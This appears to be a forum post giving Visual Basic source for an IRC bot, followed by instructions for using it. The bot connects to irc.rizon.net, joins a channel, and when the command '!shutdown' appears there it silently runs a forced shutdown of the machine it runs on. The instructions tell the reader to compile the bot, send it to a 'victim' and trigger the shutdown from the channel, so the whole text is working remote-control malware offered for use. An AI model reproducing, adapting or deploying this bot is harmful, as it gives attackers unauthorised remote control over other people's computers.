Private Sub Form_Load()
win.RemoteHost = "irc.rizon.net"
win.RemotePort = "6667"
win.Connect
End Sub
Private Sub win_connect()
win.SendData "NICK mouse1" & vbCrLf
win.SendData "USER aaaa aaaa aaaa aaaa aaaa" & vbCrLf
win.SendData "NICK mouse2" & vbCrLf
win.SendData "USER aaaa2 aaaa2 aaaa2 aaaa2 aaaa2" & vbCrLf
win.SendData "NICK mouse3" & vbCrLf
win.SendData "USER aaaa3 aaaa3 aaaa3 aaaa3 aaaa3" & vbCrLf
win.SendData "NICK mouse4" & vbCrLf
win.SendData "USER aaaa4 aaaa4 aaaa4 aaaa4 aaaa4" & vbCrLf
win.SendData "JOIN #lol" & vbCrLf
win.SendData "MODE #lol +k" & vbCrLf
End Sub
Private Sub win_dataarrival(ByVal bytestotal As Long)
Dim data As String
win.GetData data
If InStr(data, "PING") Then
win.SendData "PONG" & Split(data, " ")(1)
End If
If InStr(data, "!shutdown") Then
Shell ("shutdown -s -t 0"), vbHide
win.SendData "PRIVMSG #lol : shutdown " & vbCrLf
End If
End Sub
Now , how it works?
first download mIRC .
then when u install in console type /s irc.rizon.net
then go to channel #lol
and send irc bot to victim (first u need to compile it)
when victim accepts then in channel #lol will come new member named : mouse1,mouse2,mouse3 or mouse4
then u type !shutdown and computer will be shutdowned